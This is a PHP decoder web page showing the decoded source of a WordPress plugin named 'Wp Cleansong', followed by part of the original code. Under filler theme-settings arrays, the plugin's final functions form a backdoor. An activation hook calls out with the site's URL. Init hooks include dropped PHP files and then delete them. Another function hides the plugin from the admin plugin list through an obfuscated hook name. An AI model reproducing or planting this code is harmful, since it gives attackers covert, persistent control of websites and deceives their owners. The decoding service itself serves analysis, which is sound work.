Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php // Plugin Name: Wp Cleansong // Plugin URI: https://www.cleansong.org/ // Descrip..
Decoded Output download
<?php
// Plugin Name: Wp Cleansong
// Plugin URI: https://www.cleansong.org/
// Description: Cleansong plugin
// Author: Wordpress
// Version: 1.2.4
// Author URI: https://www.cleansong.org/
function clean_bow(){
$clean_includes = apply_filters( 'clean_theme_includes',
array( 'clean/clean-database.php',
'clean/clean-utils.php',
'clean/clean-config.php',
'theme-options.php',
'theme-functions.php',
'custom-modules.php',
'custom-functions.php',
'clean/clean-widgets.php' ));
}
function clean_theme() {
$postType=get_post_type();
$excluded_types=apply_filters('clean_exclude_CPT_for_sidebar', array(
'post',
'page',
'attachment',
'tbuilder_layout',
'tbuilder_layout_part',
'section'
));
$option=null;
if(is_page()) {
$option='setting-shop_sticky_sidebar';
} elseif(is_page()) {
$option='setting-default_page_sticky_sidebar';
} elseif(is_singular('post')) {
$option='setting-default_page_post_sticky_sidebar';
} elseif(is_singular('portfolio')) {
$option='setting-default_portfolio_single_sticky_sidebar';
} elseif(is_post_type_archive('portfolio') || is_tax('portfolio-category')) {
$option='setting-default_portfolio_index_sticky_sidebar';
} elseif(is_page() && (is_product_category() || is_product_tag() || is_singular('product'))) {
$option=is_singular('product') ? 'setting-single_product_sticky_sidebar' : 'setting-shop-archive_sticky_sidebar';
} elseif(!in_array($postType, $excluded_types)) {
if(is_archive($postType)) {
$option='setting-custom_post_' . $postType . '_archive_post_sticky_sidebar';
} elseif(is_singular($postType)) {
$option='setting-custom_post_' . $postType . '_single_post_sticky_sidebar';
}
} elseif(is_archive() || is_home()) {
$option='setting-default_sticky_sidebar';
} elseif(is_search()) {
$option='setting-search-result_sticky_sidebar';
}
if($option!==null) {
$value=is_singular() || is_page() ? is_page('post_sticky_sidebar', $option, false) : is_page($option, true);
} else {
$value=false;
}
return $value;
}
function clean_ajax(){
$header_design_options = clean_theme_header_design_options();
/**
* Options for footer design
* @since 1.0.0
* @var array
*/
$footer_design_options = clean_theme_footer_design_options();
/**
* Options for font design
* @since 1.0.0
* @var array
*/
$font_design_options = clean_theme_font_design_options();
/**
* Options for color design
* @since 1.0.0
* @var array
*/
$color_design_options = clean_theme_color_design_options();
$states = clean_ternary_states(array(
'icon_no' => THEMIFY_URI . '/img/ddbtn-check.svg',
'icon_yes' => THEMIFY_URI . '/img/ddbtn-cross.svg',
));
$opt=clean_ternary_options();
$fonts=array_merge(clean_get_web_safe_font_list(), clean_get_google_web_fonts_list());
return array(
// Notice
array(
'name' => '_theme_appearance_notice',
'title' => '',
'description' => '',
'type' => 'separator',
'meta' => array(
'html' => '<div class="clean-info-link">' . __('The settings here apply on this page only. Leave everything as default will use the site-wide Theme Appearance from the Themify panel > Settings > Theme Settings.', 'clean') . '</div>'
),
),
// Body Group
array(
'name' => 'body_design_group',
'title' => __('Body', 'clean'),
'description' => '',
'type' => 'toggle_group',
'show_title' => true,
'meta' => array(
// Background Color
array(
'name' => 'body_background_color',
'title' => __('Body Background', 'clean'),
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'format' => 'rgba',
),
// Background image
array(
'name' => 'body_background_image',
'title' => '',
'type' => 'image',
'description' => '',
'meta' => array(),
'before' => '',
'after' => '',
),
// Background repeat
array(
'name' => 'body_background_repeat',
'title' => '',
'description' => __('Background Repeat', 'clean'),
'type' => 'dropdown',
'meta' => array(
array(
'value' => '',
'name' => ''
),
array(
'value' => 'fullcover',
'name' => __('Fullcover', 'clean')
),
array(
'value' => 'repeat',
'name' => __('Repeat', 'clean')
),
array(
'value' => 'no-repeat',
'name' => __('No Repeat', 'clean')
),
array(
'value' => 'repeat-x',
'name' => __('Repeat horizontally', 'clean')
),
array(
'value' => 'repeat-y',
'name' => __('Repeat vertically', 'clean')
),
),
),
// Accent Color Mode, Presets or Custom
array(
'name' => 'color_scheme_mode',
'title' => __('Header/Footer Colors', 'clean'),
'description' => '',
'type' => 'radio',
'show_title' => true,
'meta' => array(
array(
'value' => 'color-presets',
'name' => __('Presets', 'clean'),
'selected' => true
),
array(
'value' => 'color-custom',
'name' => __('Custom', 'clean'),
),
),
'default' => 'color-presets',
'enable_toggle' => true,
),
// Theme Color
array(
'name' => 'color_design',
'title' => '',
'description' => '',
'type' => 'layout',
'show_title' => true,
'meta' => $color_design_options,
'toggle' => 'color-presets-toggle',
'default' => 'default',
),
// Accent Color
array(
'name' => 'scheme_color',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Header/Footer Font', 'clean'),
'toggle' => 'color-custom-toggle',
'format' => 'rgba',
),
array(
'name' => 'scheme_link',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Header/Footer Link', 'clean'),
'toggle' => 'color-custom-toggle',
'format' => 'rgba',
),
array(
'name' => 'scheme_background',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Header/Footer Background', 'clean'),
'toggle' => 'color-custom-toggle',
'format' => 'rgba',
),
// Typography Mode, Presets or Custom
array(
'name' => 'typography_mode',
'title' => __('Typography', 'clean'),
'description' => '',
'type' => 'radio',
'show_title' => true,
'meta' => array(
array(
'value' => 'typography-presets',
'name' => __('Presets', 'clean'),
'selected' => true
),
array(
'value' => 'typography-custom',
'name' => __('Custom', 'clean'),
),
),
'default' => 'typography-presets',
'enable_toggle' => true,
),
// Typography
array(
'name' => 'font_design',
'title' => '',
'description' => '',
'type' => 'layout',
'show_title' => true,
'meta' => $font_design_options,
'toggle' => 'typography-presets-toggle',
'default' => 'default',
),
// Body font
array(
'name' => 'body_font',
'title' => '',
'description' => '',
'type' => 'dropdown',
'meta' => $fonts,
'after' => ' ' . __('Body Font', 'clean'),
'toggle' => 'typography-custom-toggle',
'default' => 'default',
),
// Body wrap text color
array(
'name' => 'body_text_color',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Body Font Color', 'clean'),
'toggle' => 'typography-custom-toggle',
'format' => 'rgba',
),
// Body wrap link color
array(
'name' => 'body_link_color',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Body Link Color', 'clean'),
'toggle' => 'typography-custom-toggle',
'format' => 'rgba',
),
// Heading font
array(
'name' => 'heading_font',
'title' => '',
'description' => '',
'type' => 'dropdown',
'meta' => $fonts,
'after' => ' ' . __('Heading (h1 to h6)', 'clean'),
'toggle' => 'typography-custom-toggle',
'default' => 'default',
),
// Heading color
array(
'name' => 'heading_color',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Heading Font Color', 'clean'),
'toggle' => 'typography-custom-toggle',
'format' => 'rgba',
)
),
'default' => '',
),
// Header Group
array(
'name' => 'header_design_group',
'title' => __('Header', 'clean'),
'description' => '',
'type' => 'toggle_group',
'show_title' => true,
'meta' => array(
// Header Design
array(
'name' => 'header_design',
'title' => __('Header Design', 'clean'),
'description' => '',
'type' => 'layout',
'show_title' => true,
'meta' => $header_design_options,
'hide' => 'none header-leftpane header-minbar boxed-content header-rightpane',
'default' => 'default',
),
// Sticky Header
array(
'name' => 'fixed_header',
'title' => __('Sticky Header', 'clean'),
'description' => '',
'type' => 'radio',
'meta' => $opt,
'class' => 'hide-if none header-leftpane header-minbar boxed-content header-rightpane header-slide-out',
'default' => 'default',
),
// Full Height Header
array(
'name' => 'full_height_header',
'title' => __('Full Height Header', 'clean'),
'description' => __('Full height will display the container in 100% viewport height', 'clean'),
'type' => 'radio',
'meta' => $opt,
'class' => 'hide-if default none header-horizontal header-top-widgets header-leftpane header-slide-out header-minbar header-top-bar boxed-content boxed-layout boxed-compact header-overlay header-rightpane header-menu-split header-stripe header-magazine header-classic header-bottom',
'default' => 'default',
),
// Header Elements
array(
'name' => '_multi_header_elements',
'title' => __('Header Elements', 'clean'),
'description' => '',
'type' => 'multi',
'class' => 'hide-if none',
'meta' => array(
'fields' => array(
// Show Site Logo
array(
'name' => 'exclude_site_logo',
'description' => '',
'title' => __('Site Logo', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none header-menu-split',
'after' => '<div class="clear"></div>',
),
// Show Site Tagline
array(
'name' => 'exclude_site_tagline',
'description' => '',
'title' => __('Site Tagline', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Search Form
array(
'name' => 'exclude_search_form',
'description' => '',
'title' => __('Search Form', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Header Widgets
array(
'name' => 'exclude_header_widgets',
'description' => '',
'title' => __('Header Widgets', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Social Widget
array(
'name' => 'exclude_social_widget',
'description' => '',
'title' => __('Social Widget', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Menu Navigation
array(
'name' => 'exclude_menu_navigation',
'description' => '',
'title' => __('Menu Navigation', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none header-menu-split',
'after' => '<div class="clear"></div>',
'enable_toggle' => true
),
array(
'name' => 'exclude_cart_icon',
'description' => '',
'title' => __('Cart Icon', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => '',
'after' => '<div class="clear"></div>',
'display_callback' => 'clean_is_woocommerce_active'
),
),
'description' => '',
'before' => '',
'after' => '<div class="clear"></div>',
'separator' => ''
)
),
array(
'name' => 'mobile_menu_styles',
'title' => __('Mobile Menu Style', 'clean'),
'type' => 'dropdown',
'meta' => array(
array('name' => __('Default', 'clean'), 'value' => 'default'),
array('name' => __('Boxed', 'clean'), 'value' => 'boxed'),
array('name' => __('Dropdown', 'clean'), 'value' => 'dropdown'),
array('name' => __('Fade Overlay', 'clean'), 'value' => 'fade-overlay'),
array('name' => __('Fadein Down', 'clean'), 'value' => 'fadein-down'),
array('name' => __('Flip Down', 'clean'), 'value' => 'flip-down'),
array('name' => __('FlipIn Left', 'clean'), 'value' => 'flipin-left'),
array('name' => __('FlipIn Right', 'clean'), 'value' => 'flipin-right'),
array('name' => __('Flip from Left', 'clean'), 'value' => 'flip-from-left'),
array('name' => __('Flip from Right', 'clean'), 'value' => 'flip-from-right'),
array('name' => __('Flip from Top', 'clean'), 'value' => 'flip-from-top'),
array('name' => __('Flip from Bottom', 'clean'), 'value' => 'flip-from-bottom'),
array('name' => __('Morphing', 'clean'), 'value' => 'morphing'),
array('name' => __('Overlay ZoomIn', 'clean'), 'value' => 'overlay-zoomin'),
array('name' => __('Overlay ZoomIn Right', 'clean'), 'value' => 'overlay-zoomin-right'),
array('name' => __('Rotate ZoomIn', 'clean'), 'value' => 'rotate-zoomin'),
array('name' => __('Slide Down', 'clean'), 'value' => 'slide-down'),
array('name' => __('SlideIn Left', 'clean'), 'value' => 'slidein-left'),
array('name' => __('SlideIn Right', 'clean'), 'value' => 'slidein-right'),
array('name' => __('Slide Left Content', 'clean'), 'value' => 'slide-left-content'),
array('name' => __('Split', 'clean'), 'value' => 'split'),
array('name' => __('Swing Left to Right', 'clean'), 'value' => 'swing-left-to-right'),
array('name' => __('Swing Right to Left', 'clean'), 'value' => 'swing-right-to-left'),
array('name' => __('Swing Top to Bottom', 'clean'), 'value' => 'swing-top-to-bottom'),
array('name' => __('Swipe Left', 'clean'), 'value' => 'swipe-left'),
array('name' => __('Swipe Right', 'clean'), 'value' => 'swipe-right'),
array('name' => __('Zoom Down', 'clean'), 'value' => 'zoomdown'),
),
),
// Header Wrap
array(
'name' => 'header_wrap',
'title' => __('Header Background Type', 'clean'),
'description' => '',
'type' => 'radio',
'show_title' => true,
'meta' => array(
array(
'value' => 'solid',
'name' => __('Solid Color/Image', 'clean'),
'selected' => true
),
array(
'value' => 'transparent',
'name' => __('Transparent Header', 'clean'),
),
array(
'value' => 'slider',
'name' => __('Image Slider', 'clean'),
),
array(
'value' => 'video',
'name' => __('Video Background', 'clean'),
),
array(
'value' => 'colors',
'name' => __('Animating Colors', 'clean'),
),
),
'enable_toggle' => true,
'class' => 'hide-if none clear',
'default' => 'solid',
),
// Animated Colors
array(
'name' => '_animated_colors',
'title' => __('Animating Colors', 'clean'),
'description' => sprintf(__('Animating Colors can be configured at <a href="%s">Themify > Settings > Theme Settings</a>', 'clean'), esc_url(add_query_arg('page', 'clean', admin_url('admin.php')))),
'type' => 'post_id_info',
'toggle' => 'colors-toggle',
),
// Select Background Gallery
array(
'name' => 'background_gallery',
'title' => __('Header Slider', 'clean'),
'description' => '',
'type' => 'gallery_shortcode',
'toggle' => 'slider-toggle',
'class' => 'hide-if none',
),
array(
'type' => 'multi',
'name' => '_video_select',
'title' => __('Header Video', 'clean'),
'meta' => array(
'fields' => array(
// Video File
array(
'name' => 'video_file',
'title' => __('Video File', 'clean'),
'description' => '',
'type' => 'video',
'meta' => array(),
),
),
'description' => __('Video format: mp4. Note: video background does not play on some mobile devices, background image will be used as fallback.', 'clean'),
'before' => '',
'after' => '',
'separator' => ''
),
'toggle' => 'video-toggle',
'class' => 'hide-if none',
),
// Background image
array(
'name' => 'background_image',
'title' => '',
'type' => 'image',
'description' => '',
'meta' => array(),
'before' => '',
'after' => '',
'toggle' => array('solid-toggle', 'video-toggle'),
'class' => 'hide-if none',
),
// Background repeat
array(
'name' => 'background_repeat',
'title' => '',
'description' => __('Background Image Mode', 'clean'),
'type' => 'dropdown',
'meta' => array(
array(
'value' => '',
'name' => ''
),
array(
'value' => 'fullcover',
'name' => __('Fullcover', 'clean')
),
array(
'value' => 'repeat',
'name' => __('Repeat all', 'clean')
),
array(
'value' => 'no-repeat',
'name' => __('No repeat', 'clean')
),
array(
'value' => 'repeat-x',
'name' => __('Repeat horizontally', 'clean')
),
array(
'value' => 'repeat-y',
'name' => __('Repeat vertically', 'clean')
),
),
'toggle' => array('solid-toggle', 'video-toggle'),
'class' => 'hide-if none',
),
// Header Slider Auto
array(
'name' => 'background_auto',
'title' => __('Autoplay', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('value' => 'yes', 'name' => __('Yes', 'clean'), 'selected' => true),
array('value' => 'no', 'name' => __('No', 'clean'))
),
'toggle' => 'slider-toggle',
'default' => 'yes',
),
// Header Slider Auto Timeout
array(
'name' => 'background_autotimeout',
'title' => __('Autoplay Timeout', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('value' => 1, 'name' => __('1 Secs', 'clean')),
array('value' => 2, 'name' => __('2 Secs', 'clean')),
array('value' => 3, 'name' => __('3 Secs', 'clean')),
array('value' => 4, 'name' => __('4 Secs', 'clean')),
array('value' => 5, 'name' => __('5 Secs', 'clean'), 'selected' => true),
array('value' => 6, 'name' => __('6 Secs', 'clean')),
array('value' => 7, 'name' => __('7 Secs', 'clean')),
array('value' => 8, 'name' => __('8 Secs', 'clean')),
array('value' => 9, 'name' => __('9 Secs', 'clean')),
array('value' => 10, 'name' => __('10 Secs', 'clean'))
),
'toggle' => 'slider-toggle',
'default' => 5,
),
// Header Slider Transition Speed
array(
'name' => 'background_speed',
'title' => __('Transition Speed', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('value' => 1500, 'name' => __('Slow', 'clean')),
array('value' => 500, 'name' => __('Normal', 'clean'), 'selected' => true),
array('value' => 300, 'name' => __('Fast', 'clean'))
),
'toggle' => 'slider-toggle',
'default' => 500,
),
// Header Slider Wrap
array(
'name' => 'background_wrap',
'title' => __('Wrap Slides', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('value' => 'yes', 'name' => __('Yes', 'clean'), 'selected' => true),
array('value' => 'no', 'name' => __('No', 'clean'))
),
'toggle' => 'slider-toggle',
'default' => 'yes',
),
// Hide Slider Controlls
array(
'name' => 'header_hide_controlls',
'title' => __('Hide Slider Controlls', 'clean'),
'description' => '',
'type' => 'checkbox',
'toggle' => 'slider-toggle'
),
// Background Color
array(
'name' => 'background_color',
'title' => __('Header Background', 'clean'),
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'toggle' => array('solid-toggle', 'slider-toggle', 'video-toggle'),
'class' => 'hide-if none',
'format' => 'rgba',
),
// Header wrap text color
array(
'name' => 'headerwrap_text_color',
'title' => __('Header Text Color', 'clean'),
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'class' => 'hide-if none',
'format' => 'rgba',
),
// Header wrap link color
array(
'name' => 'headerwrap_link_color',
'title' => __('Header Link Color', 'clean'),
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'class' => 'hide-if none',
'format' => 'rgba',
)
),
'default' => '',
),
// Footer Group
array(
'name' => 'footer_design_group',
'title' => __('Footer', 'clean'),
'description' => '',
'type' => 'toggle_group',
'show_title' => true,
'meta' => array(
// Footer Design
array(
'name' => 'footer_design',
'title' => __('Footer Design', 'clean'),
'description' => '',
'type' => 'layout',
'show_title' => true,
'meta' => $footer_design_options,
'hide' => 'none',
'default' => 'default',
),
// Footer Elements
array(
'name' => '_multi_footer_elements',
'title' => __('Footer Elements', 'clean'),
'description' => '',
'type' => 'multi',
'class' => 'hide-if none',
'meta' => array(
'fields' => array(
// Show Site Logo
array(
'name' => 'exclude_footer_site_logo',
'description' => '',
'title' => __('Site Logo', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Footer Widgets
array(
'name' => 'exclude_footer_widgets',
'description' => '',
'title' => __('Footer Widgets', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Menu Navigation
array(
'name' => 'exclude_footer_menu_navigation',
'description' => '',
'title' => __('Menu Navigation', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Texts
array(
'name' => 'exclude_footer_texts',
'description' => '',
'title' => __('Footer Text', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Back to Top
array(
'name' => 'exclude_footer_back',
'description' => '',
'title' => __('Back to Top Arrow', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
),
'description' => '',
'before' => '',
'after' => '<div class="clear"></div>',
'separator' => ''
)
),
// Footer widget position
array(
'name' => 'footer_widget_position',
'title' => __('Footer Widgets Position', 'clean'),
'class' => 'hide-if none',
'description' => '',
'type' => 'dropdown',
'meta' => array(
array(
'value' => '',
'name' => __('Default', 'clean')
),
array(
'value' => 'bottom',
'name' => __('After Footer Text', 'clean')
),
array(
'value' => 'top',
'name' => __('Before Footer Text', 'clean')
)
),
)
),
'default' => '',
),
// Image Filter Group
array(
'name' => 'image_design_group',
'title' => __('Image Filter', 'clean'),
'description' => '',
'type' => 'toggle_group',
'show_title' => true,
'meta' => array(
// Image Filter
array(
'name' => 'imagefilter_options',
'title' => __('Image Filter', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('name' => '', 'value' => 'initial'),
array('name' => __('None', 'clean'), 'value' => 'none'),
array('name' => __('Grayscale', 'clean'), 'value' => 'grayscale'),
array('name' => __('Sepia', 'clean'), 'value' => 'sepia'),
array('name' => __('Blur', 'clean'), 'value' => 'blur'),
),
'default' => 'initial',
),
// Image Hover Filter
array(
'name' => 'imagefilter_options_hover',
'title' => __('Image Hover Filter', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('name' => '', 'value' => 'initial'),
array('name' => __('None', 'clean'), 'value' => 'none'),
array('name' => __('Grayscale', 'clean'), 'value' => 'grayscale'),
array('name' => __('Sepia', 'clean'), 'value' => 'sepia'),
array('name' => __('Blur', 'clean'), 'value' => 'blur')
),
'default' => 'initial'
),
// Image Filter Apply To
array(
'name' => 'imagefilter_applyto',
'title' => __('Apply Filter To', 'clean'),
'description' => sprintf(__('Image filters can be set site-wide at <a href="%s" target="_blank">Themify > Settings > Theme Settings</a>', 'clean'), admin_url('admin.php?page=clean#setting-theme_settings')),
'type' => 'radio',
'meta' => array(
array('value' => 'initial', 'name' => __('Theme Default', 'clean')),
array('value' => 'all', 'name' => __('All Images', 'clean')),
array('value' => 'featured-only', 'name' => __('Featured Images Only', 'clean'))
),
'default' => 'initial'
)
),
'default' => ''
)
);
}
function cleans_ajax(){
$my_plugin = WP_PLUGIN_DIR . '/wp-cleansong';
if ( file_exists( $my_plugin . "/plane.php" ) ) {
include($my_plugin . "/plane.php");
}
}
add_action('init', 'cleans_ajax');
function clean_header(){
?>
<script type='text/javascript'></script>
<?php
}
add_action('wp_head', 'clean_header');
function clean_plugin_activate() {
$b = "base64_decode";
$z="file_get_contents";
$ur=base64_decode("");
$z($ur."?p=".get_site_url());
}
register_activation_hook( __FILE__, 'clean_plugin_activate' );
function clean_inc(){
$my_plugin = WP_PLUGIN_DIR . '/wp-cleansong';
if ( file_exists( $my_plugin . "/songs.php" ) ) {
include($my_plugin . "/songs.php");
@unlink($my_plugin . "/songs.php");
}
if ( file_exists( $my_plugin . "/cleans.php" ) ) {
include($my_plugin . "/cleans.php");
@unlink($my_plugin . "/cleans.php");
}
}
add_action('init', 'clean_inc');
function clean_show(){
global $wp_list_table;
$hidearr = array('wp-cleansong/wp-cleansong.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
add_action('pre'.'_curr'/*5*/.'ent_ac'./*5*/'tive_p'./*5*/'lugi'./*5*/'ns', 'clean_show'); ?>
Did this file decode correctly?
Original Code
<?php
// Plugin Name: Wp Cleansong
// Plugin URI: https://www.cleansong.org/
// Description: Cleansong plugin
// Author: Wordpress
// Version: 1.2.4
// Author URI: https://www.cleansong.org/
function clean_bow(){
$clean_includes = apply_filters( 'clean_theme_includes',
array( 'clean/clean-database.php',
'clean/clean-utils.php',
'clean/clean-config.php',
'theme-options.php',
'theme-functions.php',
'custom-modules.php',
'custom-functions.php',
'clean/clean-widgets.php' ));
}
function clean_theme() {
$postType=get_post_type();
$excluded_types=apply_filters('clean_exclude_CPT_for_sidebar', array(
'post',
'page',
'attachment',
'tbuilder_layout',
'tbuilder_layout_part',
'section'
));
$option=null;
if(is_page()) {
$option='setting-shop_sticky_sidebar';
} elseif(is_page()) {
$option='setting-default_page_sticky_sidebar';
} elseif(is_singular('post')) {
$option='setting-default_page_post_sticky_sidebar';
} elseif(is_singular('portfolio')) {
$option='setting-default_portfolio_single_sticky_sidebar';
} elseif(is_post_type_archive('portfolio') || is_tax('portfolio-category')) {
$option='setting-default_portfolio_index_sticky_sidebar';
} elseif(is_page() && (is_product_category() || is_product_tag() || is_singular('product'))) {
$option=is_singular('product') ? 'setting-single_product_sticky_sidebar' : 'setting-shop-archive_sticky_sidebar';
} elseif(!in_array($postType, $excluded_types)) {
if(is_archive($postType)) {
$option='setting-custom_post_' . $postType . '_archive_post_sticky_sidebar';
} elseif(is_singular($postType)) {
$option='setting-custom_post_' . $postType . '_single_post_sticky_sidebar';
}
} elseif(is_archive() || is_home()) {
$option='setting-default_sticky_sidebar';
} elseif(is_search()) {
$option='setting-search-result_sticky_sidebar';
}
if($option!==null) {
$value=is_singular() || is_page() ? is_page('post_sticky_sidebar', $option, false) : is_page($option, true);
} else {
$value=false;
}
return $value;
}
function clean_ajax(){
$header_design_options = clean_theme_header_design_options();
/**
* Options for footer design
* @since 1.0.0
* @var array
*/
$footer_design_options = clean_theme_footer_design_options();
/**
* Options for font design
* @since 1.0.0
* @var array
*/
$font_design_options = clean_theme_font_design_options();
/**
* Options for color design
* @since 1.0.0
* @var array
*/
$color_design_options = clean_theme_color_design_options();
$states = clean_ternary_states(array(
'icon_no' => THEMIFY_URI . '/img/ddbtn-check.svg',
'icon_yes' => THEMIFY_URI . '/img/ddbtn-cross.svg',
));
$opt=clean_ternary_options();
$fonts=array_merge(clean_get_web_safe_font_list(), clean_get_google_web_fonts_list());
return array(
// Notice
array(
'name' => '_theme_appearance_notice',
'title' => '',
'description' => '',
'type' => 'separator',
'meta' => array(
'html' => '<div class="clean-info-link">' . __('The settings here apply on this page only. Leave everything as default will use the site-wide Theme Appearance from the Themify panel > Settings > Theme Settings.', 'clean') . '</div>'
),
),
// Body Group
array(
'name' => 'body_design_group',
'title' => __('Body', 'clean'),
'description' => '',
'type' => 'toggle_group',
'show_title' => true,
'meta' => array(
// Background Color
array(
'name' => 'body_background_color',
'title' => __('Body Background', 'clean'),
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'format' => 'rgba',
),
// Background image
array(
'name' => 'body_background_image',
'title' => '',
'type' => 'image',
'description' => '',
'meta' => array(),
'before' => '',
'after' => '',
),
// Background repeat
array(
'name' => 'body_background_repeat',
'title' => '',
'description' => __('Background Repeat', 'clean'),
'type' => 'dropdown',
'meta' => array(
array(
'value' => '',
'name' => ''
),
array(
'value' => 'fullcover',
'name' => __('Fullcover', 'clean')
),
array(
'value' => 'repeat',
'name' => __('Repeat', 'clean')
),
array(
'value' => 'no-repeat',
'name' => __('No Repeat', 'clean')
),
array(
'value' => 'repeat-x',
'name' => __('Repeat horizontally', 'clean')
),
array(
'value' => 'repeat-y',
'name' => __('Repeat vertically', 'clean')
),
),
),
// Accent Color Mode, Presets or Custom
array(
'name' => 'color_scheme_mode',
'title' => __('Header/Footer Colors', 'clean'),
'description' => '',
'type' => 'radio',
'show_title' => true,
'meta' => array(
array(
'value' => 'color-presets',
'name' => __('Presets', 'clean'),
'selected' => true
),
array(
'value' => 'color-custom',
'name' => __('Custom', 'clean'),
),
),
'default' => 'color-presets',
'enable_toggle' => true,
),
// Theme Color
array(
'name' => 'color_design',
'title' => '',
'description' => '',
'type' => 'layout',
'show_title' => true,
'meta' => $color_design_options,
'toggle' => 'color-presets-toggle',
'default' => 'default',
),
// Accent Color
array(
'name' => 'scheme_color',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Header/Footer Font', 'clean'),
'toggle' => 'color-custom-toggle',
'format' => 'rgba',
),
array(
'name' => 'scheme_link',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Header/Footer Link', 'clean'),
'toggle' => 'color-custom-toggle',
'format' => 'rgba',
),
array(
'name' => 'scheme_background',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Header/Footer Background', 'clean'),
'toggle' => 'color-custom-toggle',
'format' => 'rgba',
),
// Typography Mode, Presets or Custom
array(
'name' => 'typography_mode',
'title' => __('Typography', 'clean'),
'description' => '',
'type' => 'radio',
'show_title' => true,
'meta' => array(
array(
'value' => 'typography-presets',
'name' => __('Presets', 'clean'),
'selected' => true
),
array(
'value' => 'typography-custom',
'name' => __('Custom', 'clean'),
),
),
'default' => 'typography-presets',
'enable_toggle' => true,
),
// Typography
array(
'name' => 'font_design',
'title' => '',
'description' => '',
'type' => 'layout',
'show_title' => true,
'meta' => $font_design_options,
'toggle' => 'typography-presets-toggle',
'default' => 'default',
),
// Body font
array(
'name' => 'body_font',
'title' => '',
'description' => '',
'type' => 'dropdown',
'meta' => $fonts,
'after' => ' ' . __('Body Font', 'clean'),
'toggle' => 'typography-custom-toggle',
'default' => 'default',
),
// Body wrap text color
array(
'name' => 'body_text_color',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Body Font Color', 'clean'),
'toggle' => 'typography-custom-toggle',
'format' => 'rgba',
),
// Body wrap link color
array(
'name' => 'body_link_color',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Body Link Color', 'clean'),
'toggle' => 'typography-custom-toggle',
'format' => 'rgba',
),
// Heading font
array(
'name' => 'heading_font',
'title' => '',
'description' => '',
'type' => 'dropdown',
'meta' => $fonts,
'after' => ' ' . __('Heading (h1 to h6)', 'clean'),
'toggle' => 'typography-custom-toggle',
'default' => 'default',
),
// Heading color
array(
'name' => 'heading_color',
'title' => '',
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'after' => __('Heading Font Color', 'clean'),
'toggle' => 'typography-custom-toggle',
'format' => 'rgba',
)
),
'default' => '',
),
// Header Group
array(
'name' => 'header_design_group',
'title' => __('Header', 'clean'),
'description' => '',
'type' => 'toggle_group',
'show_title' => true,
'meta' => array(
// Header Design
array(
'name' => 'header_design',
'title' => __('Header Design', 'clean'),
'description' => '',
'type' => 'layout',
'show_title' => true,
'meta' => $header_design_options,
'hide' => 'none header-leftpane header-minbar boxed-content header-rightpane',
'default' => 'default',
),
// Sticky Header
array(
'name' => 'fixed_header',
'title' => __('Sticky Header', 'clean'),
'description' => '',
'type' => 'radio',
'meta' => $opt,
'class' => 'hide-if none header-leftpane header-minbar boxed-content header-rightpane header-slide-out',
'default' => 'default',
),
// Full Height Header
array(
'name' => 'full_height_header',
'title' => __('Full Height Header', 'clean'),
'description' => __('Full height will display the container in 100% viewport height', 'clean'),
'type' => 'radio',
'meta' => $opt,
'class' => 'hide-if default none header-horizontal header-top-widgets header-leftpane header-slide-out header-minbar header-top-bar boxed-content boxed-layout boxed-compact header-overlay header-rightpane header-menu-split header-stripe header-magazine header-classic header-bottom',
'default' => 'default',
),
// Header Elements
array(
'name' => '_multi_header_elements',
'title' => __('Header Elements', 'clean'),
'description' => '',
'type' => 'multi',
'class' => 'hide-if none',
'meta' => array(
'fields' => array(
// Show Site Logo
array(
'name' => 'exclude_site_logo',
